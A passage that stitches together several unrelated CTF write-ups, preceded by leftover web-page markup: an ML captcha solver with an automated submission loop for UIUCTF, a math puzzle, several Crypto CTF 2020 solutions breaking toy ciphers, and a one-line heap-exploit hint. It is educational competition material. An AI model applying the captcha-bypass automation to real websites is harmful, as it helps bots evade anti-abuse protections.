8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# UIUCTF 2020 - Bot Protection IV>###### tags: `machine learning`>[name=whysw@PLUS]## Attachments- problem - [index.html](https://gist.github.com/YangSeungWon/cfd13aca223f5ac5cddd44d30998486a#file-index-html) - [captchas.zip](https://drive.google.com/file/d/1jLqs7HnPI6YmYKjGHYqGKFJXkfuKaC8q/view?usp=sharing) - [mc.ttf](https://gist.github.com/YangSeungWon/cfd13aca223f5ac5cddd44d30998486a#file-mc-ttf)- writeup - [Bot Protection IV.ipynb](https://gist.github.com/YangSeungWon/cfd13aca223f5ac5cddd44d30998486a#file-bot-protection-iv-ipynb) Attachments are uploaded on [gist](https://gist.github.com/YangSeungWon/cfd13aca223f5ac5cddd44d30998486a) and [google drive](https://drive.google.com/file/d/1jLqs7HnPI6YmYKjGHYqGKFJXkfuKaC8q/view?usp=sharing). ## Challenge```When on website: +1 spam resistance +10 user annoyance Gotta be fast! 500 in 10 minutes! https://captcha.chal.uiuc.tf Author: tow_nater```![](https://i.imgur.com/4O9Kr62.jpg) As you can see in the comments in `index.html`, there is `captcha.zip` file in https://captcha.chal.uiuc.tf/captchas.zip. ```html:index.html=2 ```![](https://i.imgur.com/opr9P1O.png) There were 69696 PNG files, with True answer of captcha. --- Additionally, these strange characters are `Minecraft Enchantment Table Language`. ttf file was in https://captcha.chal.uiuc.tf/static/mc.ttf. ![](https://i.imgur.com/aii3KO7.png) It is just one-to-one correspondence with the alphabet, so after doing captcha for about an hour, I became possible to distinguish and type these characters in ~5 seconds. (which is not enough to get FLAG!) ## Solution### Machine Learning?I and my teammates tried hard to find other WEB vulnerabilities, but failed.So we thought that this challenge might be about machine learning...?(even though this chall is in web category) Then, `captchas.zip` must be dataset for machine learning. There are 5 characters at once, so I searched Github for Tensorflow code for OCR on more than 2 characters. https://github.com/JackonYang/captcha-tensorflow And here it is! ---### Adapt github code to this challenge#### Change VariableThat original code in github is about solving captcha for **4 digits**.We are dealing with 5 (alphabet) characters, so changed like below. >Previous:>```=>H, W, C = 100, 120, 3>N_LABELS = 10>D = 4>``` Changed to:```=>H, W, C = 75, 250, 3N_LABELS = 26D = 5```#### Increase AccuracyAt first, we used exactly same layer setting with that code, but that fails at least once in 10 trials. ```python=input_layer = tf.keras.Input(shape=(H, W, C))x = layers.Conv2D(32, 3, activation='relu')(input_layer)x = layers.MaxPooling2D((2, 2))(x)x = layers.Conv2D(64, 3, activation='relu')(x)x = layers.MaxPooling2D((2, 2))(x)x = layers.Conv2D(64, 3, activation='relu')(x)x = layers.MaxPooling2D((2, 2))(x) x = layers.Flatten()(x)x = layers.Dense(1024, activation='relu')(x)# x = layers.Dropout(0.5)(x) x = layers.Dense(D * N_LABELS, activation='softmax')(x)x = layers.Reshape((D, N_LABELS))(x)``` Improving it, we removed one layer, ```pythonx = layers.Conv2D(64, 3, activation='relu')(x)x = layers.MaxPooling2D((2, 2))(x)```but it made the situation worse... So we added one more layer from the first one!```pythoninput_layer = tf.keras.Input(shape=(H, W, C))x = layers.Conv2D(32, 3, activation='relu')(input_layer)x = layers.MaxPooling2D((2, 2))(x)x = layers.Conv2D(64, 3, activation='relu')(x)x = layers.MaxPooling2D((2, 2))(x)x = layers.Conv2D(64, 3, activation='relu')(x)x = layers.MaxPooling2D((2, 2))(x)x = layers.Conv2D(64, 3, activation='relu')(x)x = layers.MaxPooling2D((2, 2))(x)``` The output was awesome. We rarely failed! But this is not the end. ---### Retrying + Human LearningWe don't have penalty even when we fails. This means we can try again just after we fails. We were able to sort answers by possibility. (because we used softmax)```python= im = Image.open(BytesIO(base64.b64decode(data))) data = np.array([np.array(np.array(np.array((np.array(im) / 255.0))))]) y_pred = model.predict_on_batch(data) res = tf.math.top_k(y_pred, k=3) prob = np.array(res[0][0]) indices = np.array(res.indices[0]) l = [] beta = prob[0].size beka = prob.size // beta for i in range(beka): k = [] for j in range(beta): k.append([indices[i][j], prob[i][j]]) l.append(k) wasm = list(product(*l)) def f(x): s = 0 for i in x: s += i[1] return s res = sorted(wasm, key=f, reverse=True)```--- This challenge uses session cookie for counting 15 minutes. It means we can open multiple windows with same cookie.So we opened another window and used it in emergency situation.```python=def send(res): for arr in res[:30]: trial = "" for pair in arr: trial += toCh(pair[0]) r = s.post("https://captcha.chal.uiuc.tf/", data = {"captcha":trial}) ret = r.text.split('<h2>')[1].split('</h2>')[0] print(ret) if ret != "Invalid captcha": return True return False while True: im, res = solve_captcha(get_img()) if not send(res): input("ALEEEEEEEEEEEEEEEEEEEEEERT!!!!!!!!!!!!!")```When it eventually fails after 30 tries, we manually type the answer, and press enter in python in order to continue. AND WE GOT... ![](https://i.imgur.com/FoHtYs4.png) ![](https://i.imgur.com/JGbOiCf.jpg) output : `uiuctf{i_knew_a_guy_in_highschool_that_could_read_this}`> p.s. Now I can read this too! haha - whysw
# Machine Fix >We ran a code on a machine a few years ago. It is still running however we forgot what it was meant for. It completed n=523693181734689806809285195318 iterations of the loop and broke down. We want the answer but cannot wait a few more years. Find the answer after n iterations to get the flag.>>The flag would be of the format csictf{answer_you_get_from_above}. We are given the [code](code.py) of the program that takes years to compute. ```pythondef convert (n): if n == 0: return '0' nums = [] while n: n, r = divmod(n, 3) nums.append(str(r)) return ''.join(reversed(nums)) count=0n=1while(n<=523693181734689806809285195318): str1=convert(n) str2=convert(n-1) str2='0'*(len(str1)-len(str2))+str2 for i in range(len(str1)): if(str1[i]!=str2[i]): count+=1 n+=1 print(count)``` After some reversing, I found out that the `convert` function converts numbers to base 3. The program goes through 1 to 523693181734689806809285195318 and increments the count variable every time there is a difference between the current number and the number before it in base 3. So basically whenever there is a carry in an addition. But it's more difficult than that. Take `100000000` in base 3 for example. The number before that is `022222222`. The count variable would be incremented 8 times! Not so simple, eh? I played around with the code for a bit, trying to find if there is a shortcut for this big calculation. ```pythoncrack=32145#523693181734689806809285195318while(n<=crack): str1=convert(n) str2=convert(n-1) if (len(str1)!=len(str2)): print(n) print(count) str2='0'*(len(str1)-len(str2))+str2 for i in range(len(str1)): if(str1[i]!=str2[i]): count+=1 hash = hashlib.md5() hash.update(str1+str2) print hash.hexdigest(), len(str1)-i, '!'#, str1[-5:], str2[-5:] n+=1``` I intentionally made the `crack` variable smaller, so my computer can actually execute the program in finite time. Whenever the count variable was incremented, I printed out the hex digest of both strings so all the data looks different, and which digit of the base3 number there is a difference. Again, I'm trying to find a pattern here. I used `grep` to find each line where there is a certain digit that is changed and `wc` to count the number of lines. I was hoping to find a pattern that I can use in my algorithm. ```jordan@notyourcomputer:~/CTF-writeups/csictf/machine-fix$ python code-edited.py | grep " 1 !" | wc -l32145jordan@notyourcomputer:~/CTF-writeups/csictf/machine-fix$ python code.py | grep " 2 !" | wc -l10715jordan@notyourcomputer:~/CTF-writeups/csictf/machine-fix$ python code.py | grep " 3 !" | wc -l3571jordan@notyourcomputer:~/CTF-writeups/csictf/machine-fix$ python code.py | grep " 4 !" | wc -l1190jordan@notyourcomputer:~/CTF-writeups/csictf/machine-fix$ python code.py | grep " 5 !" | wc -l396jordan@notyourcomputer:~/CTF-writeups/csictf/machine-fix$ python code.py | grep " 6 !" | wc -l132jordan@notyourcomputer:~/CTF-writeups/csictf/machine-fix$``` It shocked me when I found out that they are all divisions of 3! And the result: ```48212``` Is everything summed up! ```jordan@notyourcomputer:~$ pyPython 3.7.3 (default, Dec 20 2019, 18:57:59)[GCC 8.3.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> 32145+10715+3571+1190+396+13248149>>> 132//344>>> 32145+10715+3571+1190+396+132+4448193>>> 44//314>>> 32145+10715+3571+1190+396+132+44+1448207>>> 32145+10715+3571+1190+396+132+44+1548208>>> 15//34>>> 4//31>>> 1//30>>> 32145+10715+3571+1190+396+132+44+15+4+148212>>>``` I found out that it has to be floor division though, not just division. So, all we have to do is floor divide n by 3 and add n to the count until n is zero! ```pythonn = 523693181734689806809285195318count = 0 while n != 0: count += n n = n // 3 ## use floor division print(count)``` Very fun challenge! Flag: `csictf{785539772602034710213927792950}`
# **Crypto CTF 2020** ## Amsterdam ### Category : Easy, Points : 55### Flag : CCTF{With_Re3p3ct_for_Sch4lkwijk_dec3nt_Encoding!}Challenge : amsterdam.py```#!/usr/bin/env python3 from Crypto.Util.number import *from functools import reduceimport operatorfrom secret import flag, n, k def comb(n, k): if k > n : return 0 k = min(k, n - k) u = reduce(operator.mul, range(n, n - k, -1), 1) d = reduce(operator.mul, range(1, k + 1), 1) return u // d def encrypt(msg, n, k): msg = bytes_to_long(msg.encode('utf-8')) if msg >= comb(n, k): return -1 m = ['1'] + ['0' for i in range(n - 1)] for i in range(1, n + 1): if msg >= comb(n - i, k): m[i-1]= '1' msg -= comb(n - i, k) k -= 1 m = int(''.join(m), 2) i, z = 0, [0 for i in range(n - 1)] c = 0 while (m > 0): if m % 4 == 1: c += 3 ** i m -= 1 elif m % 4 == 3: c += 2 * 3 ** i m += 1 m //= 2 i += 1 return c enc = encrypt(flag, n, k)print('enc =', enc)```output.txt ```enc = 5550332817876280162274999855997378479609235817133438293571677699650886802393479724923012712512679874728166741238894341948016359931375508700911359897203801700186950730629587624939700035031277025534500760060328480444149259318830785583493``` **Analysis :** Function comb() gives the value of <sup>n</sup>C<sub>k</sub>. To generate encrypted text, first of all a variable **m** is generated using message(flag) with bits set 1 at special places and a special least significant bit and then this **m** is converted to **enc** using some basic arithmetic operations. So, basically we have to first find ***m*** from the given ***enc*** value and then make use of the positions of bit **1** in ***m*** to proceed way back to flag. **Solution :** A simple function to find m from enc is: ```def find_m(c): i = 0 m = 0 while c > 0: if c % 3 == 1: m += 2 ** i c -= 1 elif c % 3 == 2: m += (fc(c-2)-1)*(2 ** i) break c //= 3 i += 1 return m```and our m is:```>>> m = 13037931070082386429043329808978789360911287214189289770230708339088698578551447560972351036453899271623903109387482345515668380476074788749548946464>>> b = bin(m)[2:]>>> b'1000001010000011110111100000110010110010000000001110111100111010111110100110100000111010111000101100000010111010010011000011010001111101000001101010111110000001000000011000001000110010101000000111111111101101111100000000111101001100001110000110101010101110000100111100100001000101100001011111101001010101010000011010101001001000011010100010000011101011100000110110111101110010011000010111010010111000110110011101001000000110001000000010100000011000000011000010101111001011111111000010000100000'>>> len(b)493``` In binary form, number of bits in m is 493 and this is the value for our **n**. Let's look at lsb of m which is **0**. Since this is 0, we can say our message after all reductions should follow: > msg < comb(0, k) #some k, will find it later. If msg > comb(0,k) then lsb would have been 1. Since comb(0, k) = 0 if k is positive or 1 if k = 0, we have > msg < 1 Also msg gets reduced by ***msg -= comb(n - i, k) iff msg >= comb(n-i, k)***, so from this we have > msg >= 0 #i.e. msg can never be negative Combining both we get that at last(after all reductions) **msg** will be 0. So we can represent msg as a sum of these combatorials. Now the question arises, which combatorials to combine ?? Here comes the role of bit positions '1'. Whenever **m** gets reduced by comb(n-i, k), m[i] becomes '1' and k reduces by 1. So whenever we encounter a bit 1 at index 'i' from last, we can write ***m += comb(i,some k)*** and this k incerases by 1 for next value. The positions at which bit '1' appears are (from backwards and excluding last one) : ```[5, 10, 15, 16, 17, 18, 19, 20, 21, 22, 24, 27, 28, 29, 30, 32, 34, 39, 40, 48, 49, 56, 58, 66, 70, 71, 78, 81, 83, 84, 85, 88, 89, 91, 92, 96, 97, 98, 100, 103, 105, 106, 107, 109, 114, 115, 118, 121, 122, 123, 125, 126, 127, 128, 130, 131, 133, 134, 140, 141, 142, 144, 146, 147, 148, 154, 158, 160, 162, 163, 168, 171, 174, 176, 178, 180, 181, 187, 189, 191, 193, 195, 198, 200, 201, 202, 203, 204, 205, 207, 212, 213, 215, 219, 224, 227, 228, 229, 230, 233, 238, 239, 240, 242, 244, 246, 248, 250, 251, 256, 257, 258, 263, 264, 267, 269, 270, 271, 272, 281, 282, 283, 284, 285, 287, 288, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 306, 308, 310, 313, 314, 318, 324, 325, 333, 340, 341, 342, 343, 344, 346, 348, 350, 351, 357, 359, 360, 361, 362, 363, 367, 369, 370, 375, 376, 379, 382, 384, 385, 386, 388, 395, 396, 398, 402, 403, 404, 406, 408, 409, 410, 416, 418, 419, 422, 424, 425, 426, 427, 428, 430, 432, 433, 434, 437, 438, 439, 440, 442, 443, 444, 454, 457, 458, 460, 463, 464, 470, 471, 472, 473, 475, 476, 477, 478, 484, 486]```Using all this knowledge we can represent msg as: *msg = comb(5,k) + comb(10,k+1) + comb(15,k+2)+ ... + comb(484,k+215) + comb(486,k+216)* All now left is to find the initial k. From the lsb knowledge of **m**, comb(0,k) is 0 if k is positive which means if at last k>=1, **msg (which is 0) < comb(0,k) = 0**, <--CONTRADICTION So at last k becomes 0, which means k in the first term of msg i.e. comb(5,k) would be 1, as after it it will decrease by 1 and finally become 0 to satisfy our lsb condition. Full solution is avaliable at [ams_soln.py](https://github.com/ketanch/ctf-writeups/blob/master/Crypto%20CTF%202020/ams_sol.py) ## Three Ravens ### Category : Medium, Points : 90### Flag : CCTF{tH3_thr3E_r4V3n5_ThRe3_cR0w5}Challenge : three_ravens.py```#!/usr/bin/python from Crypto.Util.number import *from flag import flag def keygen(nbit): while True: p, q, r = [getPrime(nbit) for _ in range(3)] if isPrime(p + q + r): pubkey = (p * q * r, p + q + r) privkey = (p, q, r) return pubkey, privkey def encrypt(msg, pubkey): enc = pow(bytes_to_long(msg.encode('utf-8')), 0x10001, pubkey[0] * pubkey[1]) return enc nbit = 512pubkey, _ = keygen(nbit)print('pubkey =', pubkey) enc = encrypt(flag, pubkey)print('enc =', enc)```output.txt:```pubkey = (1118073551150541760383506765868334289095849217207383428775992128374826037924363098550311115755885268424829560194236035782255428423619054826556807583363177501160213010458887123857150164238253637312857212126083296001975671629067724687807682085295986049189947830021121209617616433866087257702543240938795900959368763108186758449391390546819577861156371516299606594152091361928029030465815445679749601118940372981318726596366101388122993777320367839724909505255914071, 31678428119854378475039974072165136708037257624045332601158556362844808093636775192373992510841508137996049429030654845564354209680913299308777477807442821)enc = 8218052282226011897229703907763521214054254785275511886476861328067117492183790700782505297513098158712472588720489709882417825444704582655690684754154241671286925464578318013917918101067812646322286246947457171618728341255012035871158497984838460855373774074443992317662217415756100649174050915168424995132578902663081333332801110559150194633626102240977726402690504746072115659275869737559251377608054255462124427296423897051386235407536790844019875359350402011464166599355173568372087784974017638074052120442860329810932290582796092736141970287892079554841717950791910180281001178448060567492540466675577782909214``` **Analysis :** Instead of 2 primes, 3 primes are used and we are provided the sum and product of these primes as public key. Definition of public modulus **N** is also different and here it is product (pqr) * (p+q+r). **ASSUMPTION :** I have assumed in my solution that p+q+r > m (message) We cannot find p,q,r but we can do some tricks to reduce the modulus from **N** to a smaller value whose totient can be found easily and make use of the fact (p+q+r) is Prime. **Solution :** *N = (p x q x r) x (p+q+r)* *enc = m<sup>65537</sup> mod N* As p+q+r is a factor of N, we can reduce above expression to: *enc = m<sup>65537</sup> mod (p+q+r)* As p+q+r is also prime ( given in question ), its totient is simply p+q+r-1 : *phi = p+q+r-1* Now we can compute flag easily: ```from Crypto.Util.number import *from gmpy2 import invertn = pubkey[1] #new modulusenc = enc % nphi = n-1e = 65537d = invert(e,phi)flag = long_to_bytes(pow(enc,d,n)).decode()print(flag)``` Instead of using (p+q+r) as modulus, we could have also used pqr, but then the totient would be (p-1) x (q-1) x (r-1), which we do not know.
This challenge uses realloc and had UAF. Our goal is to write an arbitrary value into BSS. This can be done with tcache stashing attack, with 8 chunks in the same smallbin and overwriting the bk of the smallbin freelist fd. See solve script.
[](htthttps://noob-atbash.github.io/writeups/cyberwar/crypto/chal-5p://)No captcha required for preview. Please, do not write just a link to original writeup here.
# Trailing Bits Writeup ### Crypto CTF 2020 - Crypto 29 - 280 solves > The [text](./trailing_bits_f62ab56d6be7ff17355f364f56fa1a1a073a82aa.txz) that includes the flag is transmitted while unfortunately both of its head and tail bits are lost ? #### Exploit The description says some header/footer bits are truncated. Express `CCTF` string as bit string and search for it. Locate the flag and decode. I get flag: ```CCTF{it5_3n0u9h_jU5T_tO_sH1ft_M3}``` Exploit code: [solve.py](solve.py) with [config.py](config.py)
# Gambler Writeup ### Crypto CTF 2020 - Crypto 85 - 55 solves > Gamble as an ancient Philossepher! > `nc 05.cr.yp.toc.tf 33371` Solved after the CTF was ended. #### Encryption logic Encryption function: ```pythondef encrypt(m): assert m < p and isPrime(p) return (m ** 3 + a * m + b) % p``` I know result of `encrypt(flag)` and have encryption oracle. #### Exploit First thing first. Get values of coefficients and prime. 1. `b` - `encrypt(0) = 0 ** 3 + a * 0 + b = b`2. `a` - `encrypt(1) = 1 ** 3 + a * 1 + b` - `encrypt(1) - b - 1 = a`3. `p` - Choose some big values `d1`, `d2`, almost having same size with `enc(flag)`. - `e1 = d1 ** 3 + a * d1 * b - encrypt(d1)` - `e2 = d2 ** 3 + a * d2 * b - encrypt(d2)` - `p = gcd(e1, e2)` for high probabilty. Now solve cubic equation over polynomial ring. Use sage's powerful [`roots()`](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/polynomial_element.html#sage.rings.polynomial.polynomial_element.Polynomial.roots) method. ```pythonF.<x> = PolynomialRing(Zmod(p))f = x ^ 3 + a * x + b - ctsols = f.roots()``` Test all solutions to get flag. I get flag: ```CCTF{__Gerolamo__Cardano_4N_itaLi4N_p0lYma7H}``` Exploit code: - Server interaction: [solve.py](solve.py)- Root calculation: [solve.sage](solve.sage)
# One Line Crypto Writeup ### Crypto CTF 2020 - Crypto 142 - 30 solves > A [profile](one_line_crypto_cae0eabdac83be6254daa5683a39c441d3c48aa8.txz), a look, a voice, can capture a heart ♥ in no time at all. #### Encryption logic Plain textbook RSA, which prime generation logic is exposed and seems weak. All prime has form `x ** (m + 1) - (x + 1) ** m` #### Exploit I can assume the public modulus' size is almost same with ciphertext. Bit length of ciphertext: `2047` so I can deduce that prime sizes are bigger than `2 ** 1020`. By iterating `x` and `m` for 5 minutes to generate primes using upper filtering condition, I could gather primes which are candidates of primes used in encryption. Try few prime pairs to decrypt ciphertext. I get flag: ```CCTF{0N3_1!nE_CrYp7O_iN_202O}``` Exploit code: [solve.sage](solve.sage) with [config.py](config.py)
## Fatima ### Challenge> I think we should all learn elliptic curves and fatima is a good start, enjoy! ```python#!/usr/bin/env python3# -*- coding: utf-8 -*- from fastecdsa.curve import Curvefrom fastecdsa.point import Pointimport math, randomfrom flag import flagimport time def multiply(A, B): ac, ar, bc, br = len(A[0]), len(A), len(B[0]), len(B) if ac != br: return None result = [] for i in range(ar): r = [] for j in range(bc): r.append(0) result.append(r) for i in range(ar): for j in range(bc): for k in range(br): result[i][j] += A[i][k] * B[k][j] return result def pow_matrix(A, n): R = circulant([1] + [0 for i in range(len(A)-1)]) for _ in range(n): R = multiply(R, A) return R def circulant(v): C, n = [], len(v) for i in range(n): C.append(v) tmp = [] tmp.append (v[-1]) tmp.extend(v[:-1]) v = tmp return C def spiral(A): row = len(A) col = len(A[0]) top = 0 left = 0 tmp = [] while (top < row and left < col) : for i in range(left,col) : tmp.append(A[top][i]) top += 1 for i in range(top,row) : tmp.append(A[i][col - 1]) col -= 1 if ( top < row) : for i in range(col - 1,(left - 1),-1) : tmp.append(A[row - 1][i]) row -= 1 if (left < col) : for i in range(row - 1,top - 1,-1) : tmp.append(A[i][left]) left += 1 result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result def revspiral(A): tmp = sum(spiral(A),[]) tmp = tmp[::-1] result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result def sinwaveform(A): row = len(A) col = len(A[0]) tmp = [] for j in range(col): if j%2 == 0: for i in range(row): tmp.append(A[i][j]) else: for i in range(row-1,-1,-1 ): tmp.append(A[i][j]) result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result def helical(A): row = len(A) col = len(A[0]) tmp = [] dir = 0 for k in range(0,row): if dir == 0: i = k for j in range(0,k+1): tmp.append(A[i][j]) i -= 1 dir = 1 else: j = k for i in range(0,k+1): tmp.append(A[i][j]) j -= 1 dir = 0 for k in range(1, row): if dir == 0: i = row - 1 for j in range(k, row): tmp.append(A[i][j]) i -= 1 dir = 1 else: j = row - 1 for i in range(k, row): tmp.append(A[i][j]) j -= 1 dir = 0 result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result def revhelical(A): tmp = sum(helical(A),[]) tmp = tmp[::-1] result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result dict_traversal = { 1: spiral, 2: revspiral, 3: sinwaveform, 4: helical, 5: revhelical} def c2p(c, G): C = ord(c) * G return bin(C.x)[2:].zfill(8) + bin(C.y)[2:].zfill(8) def aux(msg, G): enc = '' for c in msg: enc += c2p(c, G) return enc def enmat(c, l): s = int(math.sqrt(len(c) // l)) return [[int(c[i*l:i*l+l], 2) for i in range(s * j, s * (j + 1))] for j in range(s) ] def encrypt(msg): name = 'curve'.encode('utf-8') p, a, b, q, gx, gy, aux = 241, 173, 41, 256, 53, 192, '' curve = Curve(name, p, a, b, q, gx, gy) G = Point(gx, gy, curve = curve) for c in msg: aux += c2p(c, G) B = enmat(aux, 3) S = list(range(1,6)) random.shuffle(S) for i in range(5): B = dict_traversal[S[i]](B) C = circulant([0 for i in range(len(B)-1)] + [1]) a, l = [random.randint(2, len(B)) for _ in '01'] CL = pow_matrix(C, l) CAL = pow_matrix(CL, a) enc = (CL[0], multiply(B, CAL)) return encprint("enc = ", encrypt(flag))``` ### Solution Note that `pow_matrix(C, i) == circulant([0]*(100 - i) + [1] + [0]*(i - 1))` with `C = circulant([0 for i in range(len(B)-1)] + [1])`, with knowing that we can recover the plaintext step-by-step. ```enc[1] = B*C^(a*l)enc[1]*C^k = B*C^(a*l + k)``` Therefore if we can find `k` such that `a*l + k == 0 (mod 100)`, which mean `C^(a*l + k)` is the identity matrix, we can recover `B`. Note that `C^k` has the form `circulant([0]*(100 - i) + [1] + [0]*(i - 1))` so we can just bruteforce `i` and check for each case which produces the right plaintext. The traversal operators and EC part can be reversed using look-up tables. ### Implementation```pythonfrom Crypto.Util.number import *import itertoolsimport tqdmfrom fastecdsa.curve import Curvefrom fastecdsa.point import Pointimport math, random ############ Reuse code of the challenge ############def multiply(A, B): ac, ar, bc, br = len(A[0]), len(A), len(B[0]), len(B) if ac != br: return None result = [] for i in range(ar): r = [] for j in range(bc): r.append(0) result.append(r) for i in range(ar): for j in range(bc): for k in range(br): result[i][j] += A[i][k] * B[k][j] return result def pow_matrix(A, n): R = circulant([1] + [0 for i in range(len(A)-1)]) for _ in range(n): R = multiply(R, A) return R def circulant(v): C, n = [], len(v) for i in range(n): C.append(v) tmp = [] tmp.append (v[-1]) tmp.extend(v[:-1]) v = tmp return C def spiral(A): row = len(A) col = len(A[0]) top = 0 left = 0 tmp = [] while (top < row and left < col) : for i in range(left,col) : tmp.append(A[top][i]) top += 1 for i in range(top,row) : tmp.append(A[i][col - 1]) col -= 1 if ( top < row) : for i in range(col - 1,(left - 1),-1) : tmp.append(A[row - 1][i]) row -= 1 if (left < col) : for i in range(row - 1,top - 1,-1) : tmp.append(A[i][left]) left += 1 result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result def revspiral(A): tmp = sum(spiral(A),[]) tmp = tmp[::-1] result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result def sinwaveform(A): row = len(A) col = len(A[0]) tmp = [] for j in range(col): if j%2 == 0: for i in range(row): tmp.append(A[i][j]) else: for i in range(row-1,-1,-1 ): tmp.append(A[i][j]) result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result def helical(A): row = len(A) col = len(A[0]) tmp = [] dir = 0 for k in range(0,row): if dir == 0: i = k for j in range(0,k+1): tmp.append(A[i][j]) i -= 1 dir = 1 else: j = k for i in range(0,k+1): tmp.append(A[i][j]) j -= 1 dir = 0 for k in range(1, row): if dir == 0: i = row - 1 for j in range(k, row): tmp.append(A[i][j]) i -= 1 dir = 1 else: j = row - 1 for i in range(k, row): tmp.append(A[i][j]) j -= 1 dir = 0 result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result def revhelical(A): tmp = sum(helical(A),[]) tmp = tmp[::-1] result = [] for i in range(len(A)): r = [] for j in range(len(A[0])): r.append(tmp[i*len(A[0]) + j]) result.append(r) return result dict_traversal = { 1: spiral, 2: revspiral, 3: sinwaveform, 4: helical, 5: revhelical}##################################################### enc = # REDACTED # Create lookup tables for all permutationsdef qn(n=100): lookup = list(range(n**2)) res = [] for it in tqdm.tqdm(itertools.permutations(range(1, 6))): B = [lookup[i:i+n] for i in range(0, n**2, n)] for i in it: B = dict_traversal[i](B) B = sum(B, []) B = [B.index(i) for i in range(n**2)] res.append([B[i:i+n] for i in range(0, n**2, n)]) return res def apply_lookup(A, lk): n = len(A) A = sum(A, []) lk = sum(lk, []) return [[A[j] for j in lk[i:i+n]] for i in range(0, n**2, n)] kk = qn() # Around 6 mins, can be cached # Look-up table for ec partrev = [[None for i in range(256)] for j in range(256)]for i in range(256): t = i*G rev[t.x][t.y] = chr(i) for i in tqdm.trange(99, -1, -1): CC = circulant([0]*i + [1] + [0]*(100 - i - 1)) B = multiply(enc[1], CC) for lk in kk: BB = [x[::] for x in B] BB = apply_lookup(BB, lk) BB = sum(BB, []) s = '' for x in BB: s += bin(x)[2:].zfill(3) m = '' for j in range(0, len(s), 16): px, py = int(s[j:j+8], 2), int(s[j+8:j+16], 2) if rev[px][py] is not None: m += rev[px][py] continue if 'CCTF' in m: print(m) break``` And this is the output, a paragraph from [`Our Lady of Fátima`](https://en.wikipedia.org/wiki/Our_Lady_of_F%C3%A1tima#Marian_apparitions). > Beginning in the spring of 1917, the children reported apparitions of an Angel, and starting in May 1917, apparitions of the Virgin Mary, whom the children described as the Lady more brilliant than the Sun. The children reported a prophecy that prayer would lead to an end to the Great War, and that on 13 October that year the Lady would reveal her identity and perform a CCTF{Elliptic_Curv3_1s_fun_&_simpLE_Circulaitng_it_make_it_funnier!!} so that all may believe. Newspapers reported the prophecies, and many pilgrims began visiting the area. The children's accounts were deeply controversial, drawing intense criticism from both local secular and religious authorities. A provincial administrator briefly took the children into custody, believing the prophecies were politically motivated in opposition to the officially secular First Portuguese Republic established in 1910.[6] The events of 13 October became known as the Miracle of the Sun... ### Flag `CCTF{Elliptic_Curv3_1s_fun_&_simpLE_Circulaitng_it_make_it_funnier!!}`
